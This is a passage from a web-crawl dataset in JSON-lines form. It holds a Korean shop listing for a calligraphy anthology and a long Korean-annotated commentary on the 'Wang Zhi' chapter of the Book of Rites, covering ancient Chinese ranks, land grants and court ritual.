\"wuu_Hani_score\": 0.033151786774396896, \"zxx_Latn_score\": 0.022264525294303894, \"yue_Hani_score\": 0.014129041694104671, \"und_Sgnw_score\": 0.01327572762966156, \"und_Tang_score\": 0.012517941184341908}","num_words":15,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.2,"stopwords_ratio":0.067,"flagged_words_ratio":0.0,"lang_id_score":0.398,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"『예서집』은 공모전 출품용 체본용도로 씌여진 책이다. 고려조의 문인에서부터 근대시인까지 처음 접해보는 이름과 시들까지 수록했으며, 저자가 문장을 선택및 해석하고 주석했다.\n韓國詩人作品 芝蘭 \/ 通亭 姜栢年 先生 詩 遠浦 歸帆 \/ 玩易齋 姜碩德 先生 詩 平昌 寓居 \/ 竹窓 姜? 先生 詩 . 詠 薔薇 \/ 忍齋 洪暹 先生 詩 對酒 賞菊 次 成城 \/ 忍齋 洪暹 先生 詩 題 自畵 梅花 \/ 麗末文人 洪聲 先生 詩 中國詩人作品 竹 \/ 唐 無本 賈島 先生 詩 促織 \/ 唐 子美 杜甫 先生 詩 . 夜歌 \/ 退之 韓愈 先生 詩 獨坐 有感 \/ 中丁 朴基泰 自吟","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/art111.co.kr\/shop\/detail.html?cateno=010101&gid=6181","date":"2019-05-26T07:49:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232258862.99\/warc\/CC-MAIN-20190526065059-20190526091059-00096.warc.gz","language":"lzh","language_score":0.5687874556,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5687874555587769, \"cmn_Hani_score\": 0.3014051914215088, \"jpn_Jpan_score\": 0.12265177071094513}","num_words":81,"character_repetition_ratio":0.034,"word_repetition_ratio":0.0,"special_characters_ratio":0.355,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.569,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"疏曰 王制之作이 在奏漢之際라 하며 盧植이 云.文帝이 令慱士諸生作이라.[563] [慱:근심단,근심하는 모양]\n永嘉徐氏曰 王制一書敍次 三王四代之制度 蓋聖王所以經綸 天地之大經而爲萬世法程者也 其書推明班爵制祿之法祭祀養老之義其立國之紀綱制度講若劃一而不相踰越三代所以享國長久雖有辟玉而維持者不亂 蓋得其道矣 周衰上無道揆下無法守諸侯壞亂法紀以隳先王之制多矣 暴君汚吏慢其經界而井田之制孟子僅聞其略諸侯惡其害已皆去其典籍而班爵祿之制孟子不聞其詳凡先王之舊典禮經蓋僅有存者自秦變井地爲阡陌壞封建爲郡縣而分田制祿之法一切掃地此漢儒思古而王制所爲作也.\n[綸:인끈륜][揆:헤아릴규][隳:무너질휴][阡:남북으로통하는길천,陌:동서로통하는밭두둑길맥]\n001. 王者之制祿爵은, 公과 侯와 佰과 子와 男과, 凡五等이오.[564]\n孟子이 言天子一位,子男同一位라 하시니라.\n諸侯之上大夫는 卿과 下大夫와 上士와 中士와 下士와 凡五等이니라.[5-564]\n孟子이 言.君一位,凡六等이라 하시니라. ○ 疏曰五等은 虞夏周이 同하며, 殷은 三等이니 公侯伯也이라.\n長樂劉氏曰 王制者言爲 天下之王作民父母者 當立法度節制財用以安天下之民使不陷於凍餒 故曰王制也 易曰地上有水比先王以建萬國親諸侯言先王有親比萬民之道者必先建萬國親諸侯使之各養其民 而敎之禮義也 是以此經以建侯崇德爲首設官分職爲次 皆所以皇建其有極也 公侯伯子男 凡五等者所以差其德而尊崇之于萬民之上俾之行道以爲其國表則也 又設上大夫卿 凡五等以佐佑其君之德奉天子之禮用其中於民者也.[餒(뇌):굶기다,주리다][俾:더할비]\n○ 長樂陳氏曰 公侯伯子男 至中士下士爵也 天子之田至君十 卿祿 祿也爵 以貴之 非王爵之則無貴 祿以富之非王祿之則無富 故周官太宰內史司士之於爵祿 皆詔王而已 此所以言王者之制 祿爵也 制爵以德制祿以功德有厚薄 故爵有崇卑功有多寡 故祿有豊殺周官凡言爵祿皆先爵而後祿記亦曰任官然後爵之位定然後祿之 此先祿而後爵者蓋田不分不可以制祿 祿不制不可以定爵先王量財以制用視祿以制爵然後無有餘不足之患矣. 然則爵祿者班爵祿之序也 祿爵者制爵祿之序也 由公至男 凡五等 皆君也 由諸侯之上大夫卿至下士凡五等皆臣也 君之德純故公侯伯子男 無上中下之辨 臣之德不必純故大夫士有上中下之差然皆止五等者五者天地之中數 先王制法莫不本之故五典五禮五服五刑 皆謂之天則制爵之等亦本其自然而已 孟子曰天子一位公一位侯一位伯一位子男同一位凡五等 君一位卿一位大夫一位上士一位中士一位下士一位凡六等與此不同者 此言制爵之法 孟子言班爵之法制之出於天子 故不必言 天子班之首於天子與君故兼天子與君言之也制爵祿止於諸侯與其臣而不及王朝之臣者蓋制諸侯與其臣之祿則以農田爲差制王朝公卿大夫之祿則以諸侯爲視制爵之法亦若是而已 此所以不言之也 有爵者必有祿 有祿者不必有爵 庶人在官非有爵也而其祿有差則祿之所施非特有爵者而已 故於其所制者不先以爵而先以祿也. [詔:고할조]\n天子之田은 方千里요, 公侯田은 方百里오, 伯은 七十里오, 子男은 五十里니. 不能五十里者는 不合於天子하야, 附於諸侯하나니, 曰附庸이라.[5-566]\n此는 言天子諸侯田里之廣狹이라. 不能은 猶不足也요, 不合於天子者는 不與王朝之聚會也라. 民功曰 庸이니 其功勞이 附大國而達於天子이라. 故.曰附庸이라. 天子以下이 皆言田而不言地者는 以地有山林川澤原隰險夷之不同이니 若限以地里而不計田里則井地不均하며, 穀祿不平矣라. 里數이 有二하니, 分田之里는 以方計니 如方里而井이 是也요. 分服之里는 以袤計니, 如二十五家爲里이 是也라. 後章에 言方千里者이 爲田九萬畝는 此이 以方計者也요. 自恒山至于南河千里而近은 此이 以袤計者也라. 分服則計道里遠近하야 以爲朝貢之節하고, 分田則計田畝多寡하야 以爲賦祿之制하니 此所以爲均平也라.\n<[恒:늘,오래,옛.두루긍,언저리긍][隰:진펄습][袤:길다,긴옷무]\n馬氏曰 普天之下莫非王土而天子則兼有之故天子之田方千里所以祿畿內之臣也 千里者以開方之法計之蓋萬里也 夫天子之田必以千里者所以示其本大而末細猶身之運臂 臂之使指也 蓋不千里不足以服諸侯也 降於天子則公侯而已 故公侯田方百里以開方之法計之蓋千里也 不千里則朝聘會遇之煩有所不給也 至於伯則又有殺焉 蓋伯則其國小其爵卑而子男亦如之 故伯七十里 子男五十里 七十里者以開方之法計之七七四十九 蓋四百九十里也 五十里者以開方之法計之五五二十五 蓋二百五十里也.[臂:팔비]\n○ 五峯胡氏曰 分天下有德有功者以地而不敢以天下自私於是有百七十里五十里不能五十里邦國之制焉於是有君朝卿大聘大夫小聘玉巡狩述職之禮樂法度焉於是有千稚百稚三之一五之一九之一之高城深池焉於是有井邑丘甸縣都之夫數焉於是有十乘百乘千乘萬乘之車數焉於是有伍兩卒旅師軍之制焉於是有鄕大夫司徒樂正取士之法焉 邦國之制廢而郡縣之制作世襲之制亡數易之弊生而民無定志矣 述職之禮廢上下之情不通其弊有不可勝言者矣 城池之制廢而禁禦暴客威服四夷之法亡矣 夫家之法廢則民數不可詳矣 民數不可詳則乘車不可出而軍師不隱於農矣 軍師不隱於農坐食者衆而公私困窮矣 又曰制井田所以制侯國也 制侯國所以制王畿也 王畿安强萬國親附所以保衛中夏禁禦四夷也 先王建萬國親諸侯高城深池徧天下四夷雖虎猛狼貪安得肆其欲而逞其志乎 此三 三爲萬世慮禦四夷之上策也.\n[狩:사냥수][甸(전):上古 때의 王都 주위 오백리 이내 지역][徧:두루미칠변][逞:통할령,마음대로령]\n天子之三公之田은 視公侯하며, 天子之卿은 視伯하며, 天子之大夫는 視子男하며, 天子之元士는 視附庸이니라.[5-569]\n此言,王朝有位者之田이니 亦與孟子不同하다. ○ 方氏이 曰 三公而下이 食采邑於畿內하니 祿之多少이 以外諸侯爲差라. 元士는 上士也니 與元子元侯稱元으로 同하다. 不言中士下士則視附庸이 惟上士也라.\n永嘉徐氏曰 先王設官制祿寰外諸侯自公侯至於附庸王朝之臣自三公至於元士受田相視內外齊一所以制天下偏重之患而使遠近若一也 夫分田之法所以內必視 夫外者 蓋先王之制出爲列國之君則入爲王朝之臣所以一內外也 內爲三公稱 公外而諸侯亦稱公 故畢公爲保釐東土衛侯以列國入相于周 周公居東復相成王山甫徂齊式遄其歸 或以三公居外復入爲內 諸侯所以出入均勞而內外之輕重不分也 春秋以來鄭武公入爲周 司徒鄭莊公爲平王卿士而滕侯亦曰我周之卜正蓋畿外諸侯入備王官先王所以一內外此所以內諸侯之祿視外諸侯而爲之制也 是故三公則受百里之地六卿則受七十里之地二十七大夫則受五十里之地而元士三等亦視附庸而受田.\n[寰(환):封畿內縣,宮周垣][釐(리):理,治][徂(조):일정한 장소로 나아가다][遄:빠를천][滕:물솟을등]\n002. 制農田百畝이니. 百畝之分에[去聲] 上農夫는 食[嗣]九人하며, 其次는 食八人하며, 其次는 食七人하며, 其次는 食六人하며, 下農夫는 食五人하나니. 庶人在官者는 其祿이 以是로 爲差也이니라.[571]\n此는 言庶人之田이라. 井田之制이 一夫百畝이니 肥饒者이 爲上農하며, 墝瘠者이 爲下農이라. 故.所養이 有多寡也라. 府史胥徒之屬이 皆庶人之在官者니 其祿이 以農之上下로 爲差하야 多者이 不得過食九人之祿하고 寡者이 不得下食五人之祿하야 随其高下,爲五等之多寡也라.\n[饒:넉넉할요][墝:메마른땅요][瘠:파리할척,메마름][随:隨의譌字]\n李氏曰孟子曰分田制祿可坐而定也 友曰無君子莫治野人無野人莫養君子蓋以農夫而制祿則冶於人者必思所以養之食於人者必恩所以治之且示其不能交相無也 庶人之在官者其家亦援之田周官之所謂官田也祿足以代耕而又授之田所以責其廉能廉善也.\n嚴陵方氏曰一夫一婦受田百畝故農田之制以百畝爲之率焉 雖均受百畝之分然地有肥磽之異計其一歲食人之數或多或寡此農夫所以有上下之別也 以食九人者爲上食五人者爲下則食八人至於食六人者爲中農夫可知其詳雖有五等之別其大略不過三等而已 府史胥徒之類 其田則載師所謂官田是也而又有工有賈有奄有奚位之高下不可得而詳故祿之多寡不可得而定此言其祿以農爲差則多者不得過食九人之祿寡者不得下食五人之祿可知此言百畝之分孟子言百畝之糞者蓋分以均之而存乎 法糞以治之而存乎 力法出乎上力出乎 下其言亦互相備也.[磽:자갈땅교]\n諸侯之下士는 視上農夫하나니, 祿足以代其耕也이니. 中士는 倍下士하고, 上士는 倍中士하고, 下大夫는 倍上士하고, 卿은 四大夫祿이오, 君은 十卿祿이니라.[573]\n此는 言大國也라. 視上農夫者는 得食九人之祿也라.\n次國之卿은 三大夫祿이오, 君은 十卿祿이니라. 小國之卿은 倍大夫祿이오, 君은 十卿祿이니라.[573]\n程子이 曰孟子之時에 去先王未遠하야 載籍이 未經秦火이나 然而班爵祿之制를 已不聞其詳하니 今之禮書이 皆掇拾於煨燼之餘而多出於漢儒一時之傳會하니, 奈何欲盡信而句爲之解乎아? 然則其事를 固不可一一追復矣로다.\n[掇:주을철][煨:불씨외][燼:잔불신]\n○朱子이 曰 孟子此章之說이 與周禮王制不同하니 蓋不可考라. 闕之可也이니라.\n○方氏이 曰 次國小國에 不言大夫士者는 多寡이 同於大國을 可知요. 由卿而上은 三等之國所異와 由大夫而下는 三等之國所同者이 蓋卿而上은 其祿이 浸厚하니 苟不爲之殺則地之所出이 不足以供이오, 大夫而下는 其祿이 浸薄하니 苟亦爲之殺則臣之所養이 不能自給이니 此이 所以多寡이 或同或異也라.\n永嘉徐氏曰先王量祿以分田視口以計食其品節差等上焉不至於過制下焉不至於不足諸侯下士享百畝之利苟足以代耕免勞苦而已 雖不能有餘而亦不至於不足其餘自卿以下其祿各殺以一則無多邑踰制之失諸侯分田雖多祿入自有定數亦無尾大不掉之患此先王制祿之美意也.[掉:흔들도]\n003. 次國之上卿은, 位當大國之中이오, 中當其下이오, 下當其上大夫이니라. 小國之上卿은, 位當大國之下卿이오, 中當其上大夫요, 下當其下大夫니라.[575]\n此는 言三等之國이 其卿大夫頫聘並會之時에 尊卑之序이 如此라. 鄭云,爵位同則小國이 在下라하니 謂二人이 同是卿則小國卿이 在大國卿之下라. 爵異固在上者는 謂若大國이 是大夫요, 小國이 是卿則位於大國大夫之上也라.[頫:머리숙일부]\n其有中士下士者는, 數이 各居其上之三分이니라.[576]\n鄭氏이曰謂其爲介,若特行而並會也라. 居는 猶當也니 此는 據大國而言이라. 大國之士이 爲上이오, 次國之士이 爲中이오, 小國之士이 爲下이니, 士之數이 國皆二十七人이니, 各三分之면 上九, 中九,下九라.\n○疏曰今大國之士이 旣定在朝會에 若其有中國之士, 小國之士者이 其行位之數이 各居其上國三分之二니, 謂次國이 以大國爲上而次國上九이 當大國中九하며 次國中九이 當大國下九이니, 是各當其大國三分之二라. 小國은 以次國爲上이니, 小國上九이 當次國中九하고, 小國中九이 當次國下九이라. 亦是居上三分之二也이니 是各居上之三分이라.\n永嘉徐氏曰先王分土惟有三有大國小國次國之異自三卿至於二十七士其在國之祿則倍差之不同其出國之聘則班列之有等先王豈苟爲異哉蓋使之安分而無覬覦正名而不至於亂次其辨上下定民志者固如此.\n[覬:넘겨볼기, 바라볼기][覦:넘겨볼유]\n004. 凡四海之內에 九州요, 州方千里니. 州建百里之國이 三十이오, 七十里之國이 六十이오, 五十里之國이 百有二十이니, 凡二百一十國이니라. 名山大澤을 不以封하고. 其餘를 以爲附庸間[閑]田이니. 八州에 州二百一十國이니라.[577]\n九州는 幷王畿而言이니 此는 但言每一州에 所可容者이 如此라. 凡八州를 餘以例推이니 皆言畿外之制요, 下文에 始言天子畿內之制也라.\n005. 天子之縣內는 方百里之國이 九요. 七十里之國이 二十有一이요, 五十里之國이 六十有三이니, 凡九十三國이니라. 名山大澤을 不以肦하고, 其餘를 以祿士하니, 以爲間田이니.[肦:(분:큰머리,많은모양).(반:부세,구실)][578]\n鄭注에 畿內九大國者는 三爲三公之田이오, 又三爲三公致仕者之田이오, 餘三은 待封王之子弟也라. 次國二十一者는 六爲六卿之田이오, 又六爲六卿致仕者之田이오, 又三爲三孤之田이오. 餘六은 亦待封王子弟也라. 小國六十三者는 二十七大夫之田과 幷大夫致仕之田이 共五十四요, 餘九는 亦待封王子弟也라. 三孤이 無職하니 雖致仕이나 猶可卽而謀라. 故,不副이라하니 愚意이 此無明證하니 皆鄭氏臆說이라. 況周制에 六卿이 兼公孤則所餘之田이 尙多이나 然,如周召之支子,在周者이 皆世爵祿則累朝之王子弟이 未必能盡有所封也라.[臆:가슴억,기막힐억]\n○疏曰畿外諸侯는 有封建之義라. 故云,不以封하고 畿內之臣은 不世位요, 有肦賜之義라. 故云,不以肦이라.[肦(분:큰머리,많은모양).(반:부세,구실반,나눌반] ○朱子이 曰恐只是諸儒이 做箇如此算法이나 其實은 不然이라. 建國에 必因山川形勢하야 無截然可方之理니라. 又曰 非惟施之當今에 有不可行이라. 求之昔時에 亦有難曉이니라.[截:끊을절,자를절,언변좋을절]\n○石梁王氏 曰 天子縣內以封者이 或三分之一이오 或半之하니 又除山川城郭塗巷溝渠則奉上者이 幾何이요?\n嚴陵方氏曰名山若魯之泰山晉之梁山之類大澤若豫之孟豬楚之雲夢之類山澤之大者則必有其名焉 於山曰名於澤曰大蓋互言之爾名山大澤神物之所藏寶貨之所出非外內諸侯所得專而有之故於外則不以封於內則不以肦焉 外則度土而封之使傳嗣也 故曰封內則分邑以肦之使食祿而已 故曰肦.\n006. 凡九州에 千七百七十三國이니, 天子之元士와 諸侯之附庸이 不與[去聲]하니라.[580]\n九州而千七百七十三國者는 內一州爲王圻하니 容九十三國하고, 外八州는 容一千六百八十國이니 幷畿內爲千七百七十三國也라. 元士附庸이 不與者는 以上文所算이 止五十里而元士附庸이 皆不能五十里라. 故,不與也라.[圻:지경기]\n○石梁王氏이 曰, 註引千八百國之說은 謂夏制要服內七千里니 與五服五千之言으로 不合하다.\n007. 天子百里之內를 以共[去聲]官하고, 千里之內를 以爲御하고.[581]\n共官은 謂供給王朝百官府文書之具,泛用之需요, 御는 謂凡天子之服用이니, 蓋皆取之租稅也라.\n[需(수)구하다,음식,머뭇거리다,기다리다,찾다,쓰다,모름지기,]\n○方氏이 曰, 以百里所出之少로 資百官之所共이 疑若不足이나, 然,卑者所稱이 不爲不足이오, 以千里所出之多로 爲一人之御이 疑若有餘이나 然,尊者所稱이 不爲有餘라. 且以其近者로 與人은 則欲其易給而無勞이요, 以其遠者로 奉已는 則欲其難致而有節이라. 百里之內 非不以爲御也이로대 要之以共官爲主耳요, 千里之內 非不共官也이로대 要之以爲御爲主耳라.\n馬氏曰官者官爵之所用而其用輕 故取百里以近地之所出者給之御者天子地所用而其用重 故取千里以遠地之所出者給之.\n008. 千里之外에 設方伯하나니, 五國을 以爲屬이니, 屬有長하고. 十國을 以爲連이니, 連有帥하고. 三十國을 以爲卒이니[子忽反], 卒有正하고. 二百一十國을 以爲州이니, 州有伯하니. 八州에 八伯이오, 五十六正이오, 百六十八帥이오, 三百三十六長이니라. 八伯에 各以其屬으로 屬於天子之老二人하야, 分天下以爲左右하니, 曰二伯이라 하나니라.[582]\n春秋傳에 曰 自陕(陝)以東은 周公이 主之하고, 自陕以西는 召公이 主之라 하니, 此는 卽天子之上公이 分主天下之侯國也라. 八伯은 爲八州之伯이오, 二伯은 則天下之伯也라.\n[陝(섬陕):지명,괵나라故地][陜:땅이름합.狹]\n嚴陵方氏曰方伯卽州伯也 王畿居中八州居外各設一方伯焉 長言其足以長人也 所謂比長之長亦若是爾 帥言所帥者衆非特長之而已 所謂師帥之帥亦若是爾 正言正於一而止非特帥之而已 所謂黨 正之正亦若是爾 伯亦長也 必謂之伯則以成德稱之以其爲一州之長非成德不足以當之苦也所謂宗伯之伯亦若是爾 夫能長人然後能帥衆能帥衆 然後能正於一 正於一然後其德成焉 故其序如此正也帥也長也 蓋八伯之屬也八伯 又二伯之屬也 故曰八伯 各以其屬 屬於天子之老二人 然二伯又謂之老者以其居人臣之極位不特貴乎 有其德又貴乎有其年故也 國有國老 鄕有鄕老 皆以是而已.\n永嘉徐氏曰 先王衆建諸侯而設方伯連帥之職 或以子男附庸之屬不能專達於天子 故貢賦朝聘之數悉使之聽命於牧伯 此特其一節耳 夫先王擧天下以封建諸侯而缺然無所紀綱於其間則强弱有以相呑而大小無以相維甚非經久長治之策也 蓋方伯連帥之設所謂褒表功德關諸盛衰深根固本爲不可拔者也 其所係大矣哉.\n009. 千里之內를 曰甸이요, 千里之外를 曰采,曰流이니라.[584]\n[甸(전):경기(上古 때의 王都 주위 오백리 이내의 지역); 64정(兵車 1乘 兵士 75명을 내는 토지); 성밖; 경계; 벼슬 이름; 다스리다; 사냥하다(田)]\n方氏이 曰 甸服四面이 五百里則爲方千里矣라. 王畿千里之外에 莫近於侯服而采이 又侯服之最近者라. 莫遠於荒服而流이 又荒服之最遠者라. 擧其最遠最近則綏要之服이 在其中矣라.[綏:편안수,갓끈수]\n李氏曰 采於侯服爲尤近流於荒服爲極遠九州擧內以見外四海擧外以包內.\n010. 天子는 三公과, 九卿과, 二十七大夫와, 八十一元士이니라.[585]\n石梁王氏이 曰 唐,虞稽古,建官惟百,夏商官倍어늘 註에 獨引明堂位하야 謂夏官百이 非也라.\n嚴陵方氏曰 三公之數則 取陽數而成也 九卿則倍公而三之也 二十七大夫則又倍卿而三之也 八十一元士則又倍大夫而三之也 天子理陽道於建官之數每準於陽焉 后治陰德亦以是爲數者特從夫而已 夫位尊者其事約而總位卑者 其事詳而分 故官之法位愈卑而數愈倍焉以周官言之大宰上士八人中士十有六人下士旅三十有二人則中下之士互相倍可知而此不言者以陽數 窮於九九故止八十一元士終焉 若黃鐘律終於八十一數.\n○劉氏盟冶曰 職之隆者事益簡職之卑者事益衆故三公所以論道經邦佐天子理萬機調萬化國有大事而有大興作大利害則有卿焉等而下之或典禮樂或任簿書此九卿則三倍於公大夫又三倍於卿元士又三倍於大夫也.\n011. 大國은 三卿이니 皆命於天子하나니, 下大夫이 五人이오, 上士이 二十七人이니라. 次國은 三卿이니, 二卿이 命於天子이오, 一卿이 命於其君하나니. 下大夫이 五人이오, 上士이 二十七人이니라. 小國은 二卿이니 皆命於其君하니라, 下大夫이 五人이오, 上士이 二十七人이니라.[586]\n馬氏이 曰 天子六卿而二卿一公이라. 故,有三公而六卿之中에 又有三孤焉이라. 天子六卿而大國三卿은 乃其統之屬也라. 至於大夫士則又三卿之屬焉이라. 下大夫五人은 二卿之下에 下大夫이 各二人이오, 一卿之下에 下大夫이 一人이니, 周官所謂設其參은 卽三卿也요, 傳其伍는 卽下大夫五人也요, 陳其殷은 卽上士二十七人也이라. 有上中下之大夫而獨言下大夫者는 對卿而言也이니 其實은 大夫이 有上中下之辨하고 士이 亦有上中下而獨言上士者는 對府史而言也이니 其實은 士이 又有上中下之異니라.\n永嘉徐氏曰先王建萬國親諸侯聖人觀地上有水之象爲之非其不得已也中畿千里環列五服選賢建德與之共理其維之有法其御之有道聖人所以與天下爲功而非私其力以爲已也試觀其內諸侯祿外諸侯嗣內外非有輕重而又更出迭入爲之諸侯不得以久其權也列國之卿命于天子王臣布在諸侯之國而諸侯每歲貢士實在王都諸侯又不得私其人也聖人封建之大權其內外相維可見於此矣 且大國三卿命於天子則朝廷所自命者也 小國二卿命於其君則君命之者也 夫國之大者宜專其命國之小者宜自上出也命其大不命其小聖人控制大邦優假小國之意深矣.\n014. 天子이 使其大夫로 爲三監하니[去聲], 監[平聲]於方伯之國호대, 國에 三人이니라.[588]\n監者는 監臨而督察之也라. 自王朝出하니 權亦尊矣라. 一州三人則二十四人也라. 此는 大夫之在朝에 必無職守者이니 使有常職이면 豈可遣乎아! 不然則特命也라.\n嚴陵方氏曰方伯專征於一方其權實重焉 天子不可不大爲之防每國三人故謂之三監必以三人爲率者則與三公同義不使卿爲之止使大夫爲之以見天子之尊雖使其大夫固足制於方伯故也 若書所謂三監名義雖同而人則異焉.\n○金華應氏曰方伯者天子所任以總乎外者也又有監以臨之蓋方伯權重則易專大夫位卑則不敢肆此大小相維內外相統之微意也.\n天子之縣이 內諸侯는 祿也요, 外諸侯는 嗣也이니라.[589]\n畿內之地는 王朝百官食祿之邑이 在焉하고 畿外는 乃以封建하야 使其子孫嗣守이나 然,內亦謂之諸侯者는 三公之田이 視公侯하고, 卿視伯하고 大夫이 視子男하고 元士이 視附庸也라.\n嚴陵方氏曰內諸侯則公卿大夫士是也外諸侯則公侯伯子男是也夫祿所以養其人嗣所以傳其國內諸侯臣道也止養其人而已外諸侯君道也故傳其國焉經亦曰諸侯世子世國大夫不世爵蓋謂是矣.\n○石林葉氏曰內之公卿大夫其受田視公侯伯子男固亦通稱爲諸侯也內以世祿爲主而有賢者亦得世爵外以世爵爲主而不賢亦止於世祿然則諸侯之子自非大惡猶得襲位而公卿大夫之子必賢而後爵豈輕內而重外乎蓋古者公卿大夫有功德則出封爲諸侯是在外之世爵者乃內之世祿臣也至諸侯有功德亦必入而爲公卿是在內之世祿者或在外之世爵諸侯也內外更易而輕重所以均者此先王之仁政也.\n015. 制에 三公은 一命에 卷[衮]이니, 若有加인댄 則賜也라. 不過九命이니라.[590]\n制者는 言三公命服之制也라. 命數이 止於九이니 天子之三公이 八命에 著鷩冕이니 若加一命則爲上公하야 與王者之後,同而著袞冕이라. 故云.一命袞이니 若爲三公而有加袞者이면 是出於特恩之賜요, 非例當然이라. 故云.若有加則賜也라. 人臣이 無過九命者이니 大宗伯再命受服이 與此不同하다.[鷩:붉은꿩별][袞:곤룡포곤]\n馬氏이 曰 三公袞服은 有降龍,無升龍이라.\n016. 次國之君은 不過七命이요, 小國之君은 不過五命이요, 大國之卿은 不過三命이요, 下卿은 再命이요, 小國之卿과 與下大夫는 一命이니라.[591]\n方氏이 曰 大國之卿이 不過三命이요, 下卿이 再命則知次國之卿이 再命一命也라. 小國之卿,與下大夫이 一命則知三等之國,其大夫이 皆一命而已라. 大國對下卿言은 卿指上中을 可知요, 小國特言卿則兼三等之卿을 可知라. 言下大夫而不及上中者는 蓋諸侯無中大夫而卿卽上大夫故也라. 前言,上中下之所當이 與此不同者는 位雖視其命이나 不能無詳略之異也라.\n永嘉徐氏曰古者說官之制其爵以五其命以三自上公九命至於子男五命品級異等而不可亂自上公袞冕侯伯鷩冕至於子男毳冕儀章異數而不可越周官典命掌諸侯之五儀諸臣五等之命司服自公之服至子男之服所衣之服必從其命其命不差則其服不僭先王所以正名分而章服采也故嘗論衣服之制自黃帝堯舜取諸乾坤以爲衣裳蓋法天地以制爲上下之服非私自創立之也虞夏之制天子祭服自日月以下十有二章蓋會天地萬物於一身以照臨百官文采物色靡一不備而臯陶謨所載五服五章以命有德謂之天命自天子十二章至卿大夫之三章其別爲五如天造地設不可紊也公之袞冕其章數同於王而其旒數則異故上公之袞無升龍而旒則以九固自有等殺也豈曰公之服與王同而得純用之無所等倫於其間哉\n[毳(취):솜털새배털][僭:참람할참][旒:깃발류(깃술,면류관술)][臯:(皋의 俗字),못언덕.(부를호)]\n018. 凡官民材호대 必先論之는 論辨然後에 使之하고, 任事然後에 爵之하고, 位定然後에 祿之니. 爵人於朝는 與士로 共之요. 刑人於市는 與衆으로 棄之니라.[593]\n論은 謂考評其行藝之詳也라. 論辨則材之優劣이 審矣오, 任事則能勝其任矣라. 於是에 爵之以一命之位而養之以祿焉이니라. ○ 疏曰 爵人於朝이 殷法也니, 周則天子이 假祖廟而拜授之하고, 刑人於市이 亦殷法이니 謂貴賤을 皆刑於市라. 周則有爵者를 刑于甸師氏也니라.\n馬氏曰凡民之材有大小之不同其德則有知仁聖義中和其行則有孝友睦婣任恤其藝則有禮樂射御書數凡官民材必先論之論之者論其德行道藝之實而視其材之所有也論之已辨然後使之任其事也才足以充公卿之任則使之爲公卿才足以充大夫士之任則使之爲大夫士故任事然後爵之爵有高下則祿有厚爵位者視其爵祿之高下而祿者稱其爵之等差也故曰任事然後爵之位定然後祿之凡此皆以官民之材也下又曰司馬辨論官材論進士之賢者以告于王而定其論至位定然後祿之亦與此同意也周官曰以德詔爵以能詔事所謂德者卽賢之謂以能詔事者乃任事者也蓋司馬辨論官材論國中之士也凡官民材者兼萬民而言之也養國中之士與養萬民之士蓋有以異也論國中之士其法則致詳故考校於中年論萬民之士其法則致略故三年然後論之雖其考校之法有異而其論辨之意則同也.[詔:조서조]\n019. 是故로 公家이 不畜刑人하며, 大夫이 弗養하며,士이 遇之塗하야 弗與言也하며, 屛之四方하야 唯其所之하야 不及以政은 示弗故生也니라.[595]\n公家不畜刑人은 舊說에 以爲商制하니 以周官에 墨者守門,劓者守關,宮者守內,刖者守囿,髡者守積也라. 唯其所之者는 量其罪之所當往適之地而居之니 如虞書,五流有宅,五宅三居이 是也라. 不及以政은 賦役不與也요, 示弗故生은 不授之田,不賙其乏하야 示不故欲其生也라.\n[劓:코벨의. 刖:발꿈치벨월. 囿(유):동산,얽매임,구애. 髡=髠:머리깎을곤. 賙:기민먹일주(給也賑贍)]\n嚴陵方氏曰爵所以及有德陽之事也朝在南則陽之所也刑所以加有罪陰之事也市在北則陰之所也朝者士之所立故言與士共之市者衆之所會故言與衆棄之蓋有德者人之所共子有罪者人之所共棄上言共下言棄互相備也凡此以見人君之所好惡非出於一人之私情爾畜亦養也謂之畜則所養者衆矣於公家言畜於大夫言養大小之別也至於士則又不嫌於不能養特遇之塗弗與之言而已.\n○ 馬氏曰爵者天之所以命有德刑者天之所以討有罪人心從則天意亦從故聖人之制爵刑不拂百姓以從己之欲而與衆共之也此與孟子所謂國人皆曰賢然後用之國人皆曰可殺然後殺之同意公家勢足以畜之大夫勢足以養之士者其勢不足以畜不足以養故弗與言也夫自棄者先三亦從而棄之故屛之四方示弗戮也自暴者先王亦從而暴之故不及以政示弗生也然則好生者聖人之大德而自棄自暴者不足與有爲也不足與有言也.\n○ 劉氏孟冶曰君天地君之喜怒賞罰天之兩露雷霆也福善禍淫天之賞罰也擧善去凶人君之賞罰也天豈能日求天下之善惡者罪福之人君亦豈能一一賞罰天下之善惡哉亦取其尤以示於衆而已爵人於朝所以勸君子士之所共樂也刑人於市所以懲小人衆之所共惡也君子聚於朝故爵人於朝衆人會於市故刑人於市以此見人君之喜怒非一人之私焉刑人者人君所以懲惡衆人所棄故公家及大夫士皆遠之惟其所之言流放竄逐任其所徃(往)\n[霆:천둥칠정][竄(찬):숨다(匿); 달아나다(逃); 귀양보내다(誅竄, 驅逐); 고치다(竄改)]\n020. 諸侯之於天子也에 比年에 一小聘하고, 三年에 一大聘하고, 五年에 一朝이니라.[597]\n比年은 每歲也라. 小聘은 使大夫요, 大聘은 使卿이요, 朝則君親行이라.\n021. 天子는 五年에 一巡守이니,[598]\n舜典에 曰 五載一巡守라하고 周官大行人에 曰 十有二歲에 王巡守殷國이라하고 孟子이 曰 巡守者는 巡所守也라하시니라.\n長樂陳氏曰朝覲宗遇會同之禮也存頫省聘問臣之禮也諸侯之於天子聘所以通好朝所以述職通好不欲疏故比年一小聘述職不欲數故五年一朝[頫(부:低頭,俛)(조:보다)]\n○ 嚴陵方氏曰朝必以五年爲節五爲天地相合之數君臣之際有天地之義焉故其朝聘巡守皆取數以五爲節焉\n022. 歲二月에 東巡守하야 至于岱宗하야 柴而望祀山川하며 覲諸侯하며 問百年者하야 就見之니라.[598]\n歲二月은 當巡守之年二月也라. 岱는 泰山也라. 宗은 尊也라. 東方之山이 莫高於此라 故.祀以爲東岳而稱岱宗也이니라. 柴는 本作祡하니 今通用하니 燔燎以祭天而告至也라. 東方山川之當祭者를 皆於此에 望而祀之하고 遂接見東方之諸侯하고 問有百歲之人則卽其家而見之하니 以其年高라. 